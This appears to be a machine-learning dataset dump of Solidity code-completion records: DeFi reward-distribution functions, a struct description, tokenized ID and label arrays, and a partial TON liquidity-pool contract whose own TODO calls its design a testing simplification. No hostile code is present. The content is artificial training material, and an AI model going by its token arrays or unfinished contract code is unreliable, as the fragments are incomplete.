newSpeed; uint256 verifiedMarketsLength = allMarkets[true].length; for (uint256 i = 0; i < allMarkets[true].length; i++) { currentMarket = allMarkets[true][i]; newSpeed = totalLiquidity.mantissa > 0 ? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity)) : 0; alkSpeeds[true][currentMarket] = newSpeed; emit AlkSpeedUpdated(currentMarket, newSpeed, true); } for (uint256 j = 0; j < allMarkets[false].length; j++) { currentMarket = allMarkets[false][j]; newSpeed = totalLiquidity.mantissa > 0 ? mul_( alkRate, div_( marketTotalLiquidity[verifiedMarketsLength + j], totalLiquidity ) ) : 0; alkSpeeds[false][currentMarket] = newSpeed; emit AlkSpeedUpdated(currentMarket, newSpeed, false); } } /** * @notice Accrue ALK to the market by updating the supply index * @param market The market whose supply index to update * @param isVerified Verified / Public protocol */ function updateAlkSupplyIndex(address market, bool isVerified) public { MarketState storage supplyState = alkSupplyState[isVerified][market]; uint256 marketSpeed = alkSpeeds[isVerified][market]; uint256 blockNumber = getBlockNumber(); uint256 deltaBlocks = sub_(blockNumber, uint256(supplyState.block)); if (deltaBlocks > 0 && marketSpeed > 0) { uint256 marketTotalSupply = getMarketTotalSupply( market, isVerified ); uint256 supplyAlkAccrued = mul_(deltaBlocks, marketSpeed); Double memory ratio = marketTotalSupply > 0 ? fraction(supplyAlkAccrued, marketTotalSupply) : Double({mantissa: 0}); Double memory index = add_( Double({mantissa: supplyState.index}), ratio ); alkSupplyState[isVerified][market] = MarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { supplyState.block = safe32( blockNumber, "block number exceeds 32 bits" ); } } /** * @notice Accrue ALK to the market by updating the borrow index * @param market The market whose borrow index to update * @param isVerified Verified / Public protocol */ function updateAlkBorrowIndex(address market, bool isVerified) public { MarketState storage borrowState = alkBorrowState[isVerified][market]; uint256 marketSpeed = alkSpeeds[isVerified][market]; uint256 blockNumber = getBlockNumber(); uint256 deltaBlocks = sub_(blockNumber, uint256(borrowState.block)); if (deltaBlocks > 0 && marketSpeed > 0) { uint256 marketTotalBorrows = getMarketTotalBorrows( market, isVerified ); uint256 borrowAlkAccrued = mul_(deltaBlocks, marketSpeed); Double memory ratio = marketTotalBorrows > 0 ? fraction(borrowAlkAccrued, marketTotalBorrows) : Double({mantissa: 0}); Double memory index = add_( Double({mantissa: borrowState.index}), ratio ); alkBorrowState[isVerified][market] = MarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { borrowState.block = safe32( blockNumber, "block number exceeds 32 bits" ); } } /** * @notice Calculate ALK accrued by a supplier and add it on top of alkAccrued[supplier] * @param market The market in which the supplier is interacting * @param supplier The address of the supplier to distribute ALK to * @param isVerified Verified / Public protocol */ function distributeSupplierAlk( address market, address supplier, bool isVerified ) public { MarketState storage supplyState = alkSupplyState[isVerified][market]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({ mantissa: alkSupplierIndex[isVerified][market][supplier] }); alkSupplierIndex[isVerified][market][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa > 0) { Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint256 supplierBalance = getSupplyBalance( market, supplier, isVerified ); uint256 supplierDelta = mul_(supplierBalance, deltaIndex); alkAccrued[supplier] = add_(alkAccrued[supplier], supplierDelta); emit DistributedSupplierAlk( market, supplier, supplierDelta, alkAccrued[supplier], supplyIndex.mantissa, isVerified ); } } /** * @notice Calculate ALK accrued by a borrower and add it on top of alkAccrued[borrower] * @param market The market in which the borrower is interacting * @param borrower The address of the borrower to distribute ALK to * @param isVerified Verified / Public protocol */ function distributeBorrowerAlk( address market, address borrower, bool isVerified ) public { MarketState storage borrowState = alkBorrowState[isVerified][market]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({ mantissa: alkBorrowerIndex[isVerified][market][borrower] }); alkBorrowerIndex[isVerified][market][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint256 borrowerBalance = getBorrowBalance( market, borrower, isVerified ); uint256 borrowerDelta = mul_(borrowerBalance, deltaIndex); alkAccrued[borrower] = add_(alkAccrued[borrower], borrowerDelta); emit DistributedBorrowerAlk( market, borrower, borrowerDelta, alkAccrued[borrower], borrowIndex.mantissa, isVerified ); } } /** * @notice Claim all the ALK accrued by holder in the specified markets * @param holder The address to claim ALK for * @param markets The list of markets to claim ALK in * @param isVerified Verified / Public protocol */ function claimAlk( address holder, address[] memory markets, bool isVerified ) internal { for (uint256 i = 0; i < markets.length; i++) { address market = markets[i]; updateAlkSupplyIndex(market, isVerified); distributeSupplierAlk(market, holder, isVerified); updateAlkBorrowIndex(market, isVerified); distributeBorrowerAlk(market, holder, isVerified); alkAccrued[holder] = transferAlk( holder, alkAccrued[holder], market, isVerified ); } } /** * @notice Transfer ALK to the participant * @dev Note: If there is not enough ALK, we do not perform the transfer all. * @param participant The address of the participant to transfer ALK to * @param participantAccrued The amount of ALK to (possibly) transfer * @param market Market for which ALK is transferred * @param isVerified Verified / Public Protocol * @return The amount of ALK which was NOT transferred to the participant */ function transferAlk( address participant, uint256 participantAccrued, address market, bool isVerified ) internal returns (uint256) { if (participantAccrued > 0) { EIP20Interface alk = EIP20Interface(getAlkAddress()); uint256 alkRemaining = alk.balanceOf(address(this)); if (participantAccrued <= alkRemaining) { alk.transfer(participant, participantAccrued); emit TransferredAlk( participant, participantAccrued, market, isVerified ); return 0; } } return participantAccrued; } /** * Getters */ /** * @notice Get the current block number * @return The current block number */ function getBlockNumber() public view returns (uint256) { return block.number; } /** * @notice Get the current accrued ALK for a participant * @param participant The address of the participant * @return The amount of accrued ALK for the participant */ function getAlkAccrued(address participant) public view returns (uint256) { return alkAccrued[participant]; } /** * @notice Get the address of the ALK token * @return The address of ALK token */ function getAlkAddress() public view returns (address) { return alkAddress; } /** * @notice Get the address of the underlying AlkemiEarnVerified and AlkemiEarnPublic contract * @return The address of the underlying AlkemiEarnVerified and AlkemiEarnPublic contract */ function getAlkemiEarnAddress() public view returns (address, address) { return (address(alkemiEarnVerified), address(alkemiEarnPublic)); } /** * @notice Get market statistics from the AlkemiEarnVerified contract * @param market The address of the market * @param isVerified Verified / Public protocol * @return Market statistics for the given market */ function getMarketStats(address market, bool isVerified) public view returns ( bool isSupported, uint256 blockNumber, address interestRateModel, uint256 totalSupply, uint256 supplyRateMantissa, uint256 supplyIndex, uint256 totalBorrows, uint256 borrowRateMantissa, uint256 borrowIndex ) { if (isVerified) { return (alkemiEarnVerified.markets(market)); } else { return (alkemiEarnPublic.markets(market)); } } /** * @notice Get market total supply from the AlkemiEarnVerified / AlkemiEarnPublic contract * @param market The address of the market * @param isVerified Verified / Public protocol * @return Market total supply for the given market */ function getMarketTotalSupply(address market, bool isVerified) public view returns (uint256) { uint256 totalSupply; (, , , totalSupply, , , , , ) = getMarketStats(market, isVerified); return totalSupply; } /** * @notice Get market total borrows from the AlkemiEarnVerified contract * @param market The address of the market * @param isVerified Verified / Public protocol * @return Market total borrows for the given market */ function getMarketTotalBorrows(address market, bool isVerified) public view returns (uint256) { uint256 totalBorrows; (, , , , , , totalBorrows, , ) = getMarketStats(market, isVerified); return totalBorrows; } /** * @notice Get supply balance of the specified market and supplier * @param market The address of the market * @param supplier The address of the supplier * @param isVerified Verified / Public protocol * @return Supply balance of the specified market and supplier */ function getSupplyBalance( address market, address supplier, bool isVerified ) public view returns (uint256) { if (isVerified) { return alkemiEarnVerified.getSupplyBalance(supplier, market); } else { return alkemiEarnPublic.getSupplyBalance(supplier, market); } } /** * @notice Get borrow balance of the specified market and borrower * @param market The address of the market * @param borrower The address of the borrower * @param isVerified Verified / Public protocol * @return Borrow balance of the specified market and borrower */ function getBorrowBalance( address market, address borrower, bool isVerified ) public view returns (uint256) { if (isVerified) { return alkemiEarnVerified.getBorrowBalance(borrower, market); } else { return alkemiEarnPublic.getBorrowBalance(borrower, market); } } /** * Admin functions */ /** * @notice Transfer the ownership of this contract to the new owner. The ownership will not be transferred until the new owner accept it. * @param _newOwner The address of the new owner */ function transferOwnership(address _newOwner) external onlyOwner { require(_newOwner != owner, "TransferOwnership: the same owner."); newOwner = _newOwner; } /** * @notice Accept the ownership of this contract by the new owner */ function acceptOwnership() external { require( msg.sender == newOwner, "AcceptOwnership: only new owner do this." ); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } /** * @notice Add new market to the reward program * @param market The address of the new market to be added to the reward program * @param isVerified Verified / Public protocol */ function addMarket(address market, bool isVerified) external onlyOwner { require(!allMarketsIndex[isVerified][market], "Market already exists"); require( allMarkets[isVerified].length < uint256(MAXIMUM_NUMBER_OF_MARKETS), "Exceeding the max number of markets allowed" ); allMarketsIndex[isVerified][market] = true; allMarkets[isVerified].push(market); emit MarketAdded( market, add_(allMarkets[isVerified].length, allMarkets[!isVerified].length), isVerified ); } /** * @notice Remove a market from the reward program based on array index * @param id The index of the `allMarkets` array to be removed * @param isVerified Verified / Public protocol */ function removeMarket(uint256 id, bool isVerified) external onlyOwner { if (id >= allMarkets[isVerified].length) { return; } allMarketsIndex[isVerified][allMarkets[isVerified][id]] = false; address removedMarket = allMarkets[isVerified][id]; for (uint256 i = id; i < allMarkets[isVerified].length - 1; i++) { allMarkets[isVerified][i] = allMarkets[isVerified][i + 1]; } allMarkets[isVerified].length--; // reset the ALK speeds for the removed market and refresh ALK speeds alkSpeeds[isVerified][removedMarket] = 0; refreshAlkSpeeds(); emit MarketRemoved( removedMarket, add_(allMarkets[isVerified].length, allMarkets[!isVerified].length), isVerified ); } /** * @notice Set ALK token address * @param _alkAddress The ALK token address */ function setAlkAddress(address _alkAddress) external onlyOwner { require(alkAddress != _alkAddress, "The same ALK address"); require(_alkAddress != address(0), "ALK address cannot be empty"); alkAddress = _alkAddress; } /** * @notice Set AlkemiEarnVerified contract address * @param _alkemiEarnVerified The AlkemiEarnVerified contract address */ function setAlkemiEarnVerifiedAddress(address _alkemiEarnVerified) external onlyOwner { require( address(alkemiEarnVerified) != _alkemiEarnVerified, "The same AlkemiEarnVerified address" ); require( _alkemiEarnVerified != address(0), "AlkemiEarnVerified address cannot be empty" ); alkemiEarnVerified = AlkemiEarnVerified(_alkemiEarnVerified); } /** * @notice Set AlkemiEarnPublic contract address * @param _alkemiEarnPublic The AlkemiEarnVerified contract address */ function setAlkemiEarnPublicAddress(address _alkemiEarnPublic) external onlyOwner { require( address(alkemiEarnPublic) != _alkemiEarnPublic, "The same AlkemiEarnPublic address" ); require( _alkemiEarnPublic != address(0), "AlkemiEarnPublic address cannot be empty" ); alkemiEarnPublic = AlkemiEarnPublic(_alkemiEarnPublic); } /** * @notice Set ALK rate * @param _alkRate The ALK rate */ function setAlkRate(uint256 _alkRate) external onlyOwner { alkRate = _alkRate; } /** * @notice Get latest ALK rewards * @param user the supplier/borrower */ function getAlkRewards(address user) external view returns (uint256) { // Refresh ALK speeds uint256 alkRewards = alkAccrued[user]; ( Exp[] memory marketTotalLiquidity, Exp memory totalLiquidity ) = refreshMarketLiquidity(); uint256 verifiedMarketsLength = allMarkets[true].length; for (uint256 i = 0; i < allMarkets[true].length; i++) { alkRewards = add_( alkRewards, add_( getSupplyAlkRewards( totalLiquidity, marketTotalLiquidity, user, i, i, true ), getBorrowAlkRewards( totalLiquidity, marketTotalLiquidity, user, i, i, true ) ) ); } for (uint256 j = 0; j < allMarkets[false].length; j++) { uint256 index = verifiedMarketsLength + j; alkRewards = add_( alkRewards, add_( getSupplyAlkRewards( totalLiquidity, marketTotalLiquidity, user, index, j, false ), getBorrowAlkRewards( totalLiquidity, marketTotalLiquidity, user, index, j, false ) ) ); } return alkRewards; } /** * @notice Get latest Supply ALK rewards * @param totalLiquidity Total Liquidity of all markets * @param marketTotalLiquidity Array of individual market liquidity * @param user the supplier * @param i index of the market in marketTotalLiquidity array * @param j index of the market in the verified/public allMarkets array * @param isVerified Verified / Public protocol */ function getSupplyAlkRewards( Exp memory totalLiquidity, Exp[] memory marketTotalLiquidity, address user, uint256 i, uint256 j, bool isVerified ) internal view returns (uint256) { uint256 newSpeed = totalLiquidity.mantissa > 0 ? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity)) : 0; MarketState memory supplyState = alkSupplyState[isVerified][ allMarkets[isVerified][j] ]; if ( sub_(getBlockNumber(), uint256(supplyState.block)) > 0 && newSpeed > 0 ) { Double memory index = add_( Double({mantissa: supplyState.index}), ( getMarketTotalSupply( allMarkets[isVerified][j], isVerified ) > 0 ? fraction( mul_( sub_( getBlockNumber(), uint256(supplyState.block) ), newSpeed ), getMarketTotalSupply( allMarkets[isVerified][j], isVerified ) ) : Double({mantissa: 0}) ) ); supplyState = MarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } else if (sub_(getBlockNumber(), uint256(supplyState.block)) > 0) { supplyState.block = safe32( getBlockNumber(), "block number exceeds 32 bits" ); } if ( isVerified && Double({ mantissa: alkSupplierIndex[isVerified][ allMarkets[isVerified][j] ][user] }).mantissa > 0 ) { return mul_( alkemiEarnVerified.getSupplyBalance( user, allMarkets[isVerified][j] ), sub_( Double({mantissa: supplyState.index}), Double({ mantissa: alkSupplierIndex[isVerified][ allMarkets[isVerified][j] ][user] }) ) ); } if ( !isVerified && Double({ mantissa: alkSupplierIndex[isVerified][ allMarkets[isVerified][j] ][user] }).mantissa > 0 ) { return mul_( alkemiEarnPublic.getSupplyBalance( user, allMarkets[isVerified][j] ), sub_( Double({mantissa: supplyState.index}), Double({ mantissa: alkSupplierIndex[isVerified][ allMarkets[isVerified][j] ][user] }) ) ); } else { return 0; } } /** * @notice Get latest Borrow ALK rewards * @param totalLiquidity Total Liquidity of all markets * @param marketTotalLiquidity Array of individual market liquidity * @param user the borrower * @param i index of the market in marketTotalLiquidity array * @param j index of the market in the verified/public allMarkets array * @param isVerified Verified / Public protocol */ function getBorrowAlkRewards( Exp memory totalLiquidity, Exp[] memory marketTotalLiquidity, address user, uint256 i, uint256 j, bool isVerified ) internal view returns (uint256) { uint256 newSpeed = totalLiquidity.mantissa > 0 ? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity)) : 0; MarketState memory borrowState = alkBorrowState[isVerified][ allMarkets[isVerified][j] ]; if ( sub_(getBlockNumber(), uint256(borrowState.block)) > 0 && newSpeed > 0 ) { Double memory index = add_( Double({mantissa: borrowState.index}), ( getMarketTotalBorrows( allMarkets[isVerified][j], isVerified ) > 0 ? fraction( mul_( sub_( getBlockNumber(), uint256(borrowState.block) ), newSpeed ), getMarketTotalBorrows( allMarkets[isVerified][j], isVerified ) ) : Double({mantissa: 0}) ) ); borrowState = MarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } else if (sub_(getBlockNumber(), uint256(borrowState.block)) > 0) { borrowState.block = safe32( getBlockNumber(), "block number exceeds 32 bits" ); } if ( Double({ mantissa: alkBorrowerIndex[isVerified][ allMarkets[isVerified][j] ][user] }).mantissa > 0 && isVerified ) { return mul_( alkemiEarnVerified.getBorrowBalance( user, allMarkets[isVerified][j] ), sub_( Double({mantissa: borrowState.index}), Double({ mantissa: alkBorrowerIndex[isVerified][ allMarkets[isVerified][j] ][user] }) ) ); } if ( Double({ mantissa: alkBorrowerIndex[isVerified][ allMarkets[isVerified][j] ][user] }).mantissa > 0 && !isVerified ) { return mul_( alkemiEarnPublic.getBorrowBalance( user, allMarkets[isVerified][j] ), sub_( Double({mantissa: borrowState.index}), Double({ mantissa: alkBorrowerIndex[isVerified][ allMarkets[isVerified][j] ][user] }) ) ); } else { return 0; } } }
The `BorrowLocalVars` struct is used internally in the `borrow` function.
struct BorrowLocalVars { uint256 newBorrowIndex; uint256 userBorrowCurrent; uint256 borrowAmountWithFee; uint256 userBorrowUpdated; uint256 newTotalBorrows; uint256 currentCash; uint256 updatedCash; uint256 newSupplyIndex; uint256 newSupplyRateMantissa; uint256 newBorrowRateMantissa; uint256 startingBalance; Exp accountLiquidity; Exp accountShortfall; Exp ethValueOfBorrowAmountWithFee; }
80,890
[ 1, 1986, 1375, 38, 15318, 2042, 5555, 68, 1958, 353, 1399, 12963, 316, 326, 1375, 70, 15318, 68, 445, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 605, 15318, 2042, 5555, 288, 203, 3639, 2254, 5034, 394, 38, 15318, 1016, 31, 203, 3639, 2254, 5034, 729, 38, 15318, 3935, 31, 203, 3639, 2254, 5034, 29759, 6275, 1190, 14667, 31, 203, 3639, 2254, 5034, 729, 38, 15318, 7381, 31, 203, 3639, 2254, 5034, 394, 5269, 38, 280, 3870, 31, 203, 3639, 2254, 5034, 783, 39, 961, 31, 203, 3639, 2254, 5034, 3526, 39, 961, 31, 203, 3639, 2254, 5034, 394, 3088, 1283, 1016, 31, 203, 3639, 2254, 5034, 394, 3088, 1283, 4727, 49, 970, 21269, 31, 203, 3639, 2254, 5034, 394, 38, 15318, 4727, 49, 970, 21269, 31, 203, 3639, 2254, 5034, 5023, 13937, 31, 203, 3639, 7784, 2236, 48, 18988, 24237, 31, 203, 3639, 7784, 2236, 4897, 25602, 31, 203, 3639, 7784, 13750, 620, 951, 38, 15318, 6275, 1190, 14667, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xe6F4d9711121e5304b30aC2Aae57E3b085ad3c4d/sources/src/libraries/internal/Deposits.sol
Target index has this bit set to 0 scaling == 0 means scale factor == 1, otherwise scale factor == scaling
if (scaling != 0) runningScale = Maths.floorWmul(runningScale, scaling);
3,630,157
[ 1, 2326, 770, 711, 333, 2831, 444, 358, 374, 10612, 422, 374, 4696, 3159, 5578, 422, 404, 16, 3541, 3159, 5578, 422, 10612, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 7734, 309, 261, 24576, 480, 374, 13, 3549, 5587, 273, 2361, 87, 18, 74, 5807, 59, 16411, 12, 8704, 5587, 16, 10612, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma ton-solidity >= 0.44.0; pragma AbiHeader expire; pragma AbiHeader time; pragma AbiHeader pubkey; //================================================================================ // import "../interfaces/ILiquidFTRoot.sol"; import "../interfaces/ILiquidFTWallet.sol"; import "../interfaces/IOwnable.sol"; import "../contracts/LiquidFTWallet.sol"; import "../interfaces/ISymbolPair.sol"; import "../interfaces/IDexFactory.sol"; //================================================================================ // contract SymbolPair is IOwnable, ILiquidFTRoot, ISymbolPair, iFTNotify { //======================================== // Error codes uint constant ERROR_WALLET_ADDRESS_INVALID = 301; uint constant ERROR_SENDER_IS_NOT_FACTORY = 400; uint constant ERROR_SYMBOL_ADDRESS_INVALID = 401; uint constant ERROR_RTW_ADDRESS_INVALID = 402; uint constant ERROR_NO_MINTING_IN_POOL = 403; uint constant ERROR_DEPOSIT_TOO_SMALL = 404; //======================================== // Variables TvmCell static _walletCode; // bytes static _name; // bytes static _symbol; // uint8 static _decimals; // uint128 _totalSupply; // bytes _icon; // utf8-string with encoded PNG image. The string format is "data:image/png;base64,<image>", where image - image bytes encoded in base64. // _icon = "data:image/png;base64,iVBORw0KG...5CYII="; address public static _factoryAddress; // address public static _symbol1RTW; // address public static _symbol2RTW; // Symbol _symbol1; Symbol _symbol2; // TODO: move to a separate contract, mappings here are for simplicity in testing, // but when it's the real deal each user's liquidity temporary storage should have its own contract; mapping(address => uint128) _limboSymbol1; // Liquidity that was transferred to the Pair but not yet applied; mapping(address => uint128) _limboSymbol2; // Liquidity that was transferred to the Pair but not yet applied; address public _creatorAddress; // User address that initiated pair creation uint16 public _currentFee = 30; // Current fee for Liquidity Providers to earn; Default 0.3%; uint8 private _localDecimals = 18; // uint128 private _minimumDeposit = 100000; //======================================== // Modifiers modifier onlyFactory { require(msg.sender == _factoryAddress && _factoryAddress != addressZero, ERROR_SENDER_IS_NOT_FACTORY); _; } function walletsExist() internal inline view returns (bool) { return (_symbol1.addressTTW != addressZero && _symbol2.addressTTW != addressZero); } //======================================== // Inline functions //======================================== // Getters function getWalletCode() external view override returns (TvmCell) { return (_walletCode); } function callWalletCode() external view responsible override reserve returns (TvmCell) { return {value: 0, flag: 128}(_walletCode); } function getWalletAddress(address ownerAddress) external view override returns (address) { (address addr, ) = _getWalletInit(ownerAddress); return (addr); } function callWalletAddress(address ownerAddress) external view responsible override reserve returns (address) { (address addr, ) = _getWalletInit(ownerAddress); return {value: 0, flag: 128}(addr); } function getRootInfo() external view override returns (bytes name, bytes symbol, uint8 decimals, uint128 totalSupply, bytes icon) { return (_name, _symbol, _decimals, _totalSupply, _icon); } function callRootInfo() external view responsible override reserve returns (bytes name, bytes symbol, uint8 decimals, uint128 totalSupply, bytes icon) { return {value: 0, flag: 128}(_name, _symbol, _decimals, _totalSupply, _icon); } //======================================== // constructor(bytes icon, Symbol symbol1, Symbol symbol2, address creatorAddress) public onlyFactory reserve { require(_symbol1RTW != addressZero && _symbol1RTW.isStdAddrWithoutAnyCast(), ERROR_SYMBOL_ADDRESS_INVALID); require(_symbol2RTW != addressZero && _symbol2RTW.isStdAddrWithoutAnyCast(), ERROR_SYMBOL_ADDRESS_INVALID); tvm.accept(); _icon = icon; _creatorAddress = creatorAddress; _symbol1 = symbol1; _symbol2 = symbol2; // Symbol Wallets _createWallets(); } //======================================== // function _createWallets() internal view { if(_symbol1.addressTTW == addressZero) { ILiquidFTRoot(_symbol1RTW).callCreateWallet{value: msg.value / 2, flag: 0, callback: _walletCreationCallback}(address(this), address(this), 0); } if(_symbol2.addressTTW == addressZero) { ILiquidFTRoot(_symbol2RTW).callCreateWallet{value: 0, flag: 128, callback: _walletCreationCallback}(address(this), address(this), 0); } } function createWallets() public view reserve { _createWallets(); } //======================================== // function _walletCreationCallback(address walletAddress) public reserve { require(msg.sender == _symbol1RTW || msg.sender == _symbol2RTW, ERROR_WALLET_ADDRESS_INVALID); if(msg.sender == _symbol1RTW) { _symbol1.addressTTW = walletAddress; } if(msg.sender == _symbol2RTW) { _symbol2.addressTTW = walletAddress; } _creatorAddress.transfer(0, true, 128); } //======================================== // function _getWalletInit(address ownerAddress) private inline view returns (address, TvmCell) { TvmCell stateInit = tvm.buildStateInit({ contr: LiquidFTWallet, varInit: { _rootAddress: address(this), _ownerAddress: ownerAddress }, code: _walletCode }); return (address(tvm.hash(stateInit)), stateInit); } //======================================== // function _createWallet(address ownerAddress, address notifyOnReceiveAddress, uint128 tokensAmount, uint128 value, uint16 flag) internal returns (address) { if(tokensAmount > 0) { revert(ERROR_NO_MINTING_IN_POOL); // no minting when creating a wallet for liquidity tokens } (address walletAddress, TvmCell stateInit) = _getWalletInit(ownerAddress); // Event emit walletCreated(ownerAddress, walletAddress); new LiquidFTWallet{value: value, flag: flag, stateInit: stateInit, wid: address(this).wid}(msg.sender, notifyOnReceiveAddress, tokensAmount); return walletAddress; } //======================================== // function createWallet(address ownerAddress, address notifyOnReceiveAddress, uint128 tokensAmount) external override reserve { _createWallet(ownerAddress, notifyOnReceiveAddress, tokensAmount, 0, 128); } function callCreateWallet(address ownerAddress, address notifyOnReceiveAddress, uint128 tokensAmount) external responsible override reserve returns (address) { address walletAddress = _createWallet(ownerAddress, notifyOnReceiveAddress, tokensAmount, msg.value / 2, 0); return{value: 0, flag: 128}(walletAddress); } //======================================== // function burn(uint128 amount, address senderOwnerAddress, address initiatorAddress) external override reserve { (address walletAddress, ) = _getWalletInit(senderOwnerAddress); require(walletAddress == msg.sender, ERROR_WALLET_ADDRESS_INVALID); // Withdraw liquidity here TvmCell emptyBody; uint256 ratio = (_totalSupply * 10**uint256(_localDecimals)) / uint256(amount); uint128 amountSymbol1 = uint128((uint256(_symbol1.balance) * 10**uint256(_localDecimals)) / ratio); uint128 amountSymbol2 = uint128((uint256(_symbol2.balance) * 10**uint256(_localDecimals)) / ratio); ILiquidFTWallet(_symbol1.addressTTW).transfer{value: msg.value / 3, flag: 0}(amountSymbol1, senderOwnerAddress, initiatorAddress, addressZero, emptyBody); ILiquidFTWallet(_symbol2.addressTTW).transfer{value: msg.value / 3, flag: 0}(amountSymbol2, senderOwnerAddress, initiatorAddress, addressZero, emptyBody); // Adjust values _symbol1.balance -= amountSymbol1; _symbol2.balance -= amountSymbol2; _totalSupply -= amount; // 